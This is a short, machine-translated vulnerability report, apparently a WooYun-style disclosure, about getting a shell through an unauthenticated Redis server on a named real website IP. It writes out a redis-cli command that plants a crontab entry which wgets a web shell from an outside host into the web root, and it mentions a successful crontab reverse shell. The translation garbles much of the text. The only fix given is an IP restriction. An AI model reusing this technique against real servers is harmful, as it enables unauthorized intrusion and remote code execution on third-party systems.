Getshell caused by unauthorized access to redis on a website of Phoenix

Getshell caused by unauthorized access to redis on a website of Phoenix

Learn from Pig

Http: // 61.155.16 7.220: 843/
 

61.155.167.220 although redis port 221 is changed, it is still not authorized to access
 

Http: // 61.155.167.220/test. php exposes the path
 

I tried the General getshell method. The redis cache issue cannot be executed by shell.

I don't want flushall to destroy data.

I learned how to develop a pig hero: http://zone.wooyun.org/content/2?write crontab

Echo-e "\ n ***** wget http ://***. ***. ***. * **/shell.txt-O/data/media/xiao. php \ n "| redis-cli-h 61.155.167.220-p 221-x set %
 

 

Http: // 61.155.167.220/xiao. php
 

 

Tried crontab bounce shell. The write is successful. Please delete it.
 

Some people say that redis can be remotely loaded by Garbled text writing.

Solution:

Set ip address access restrictions.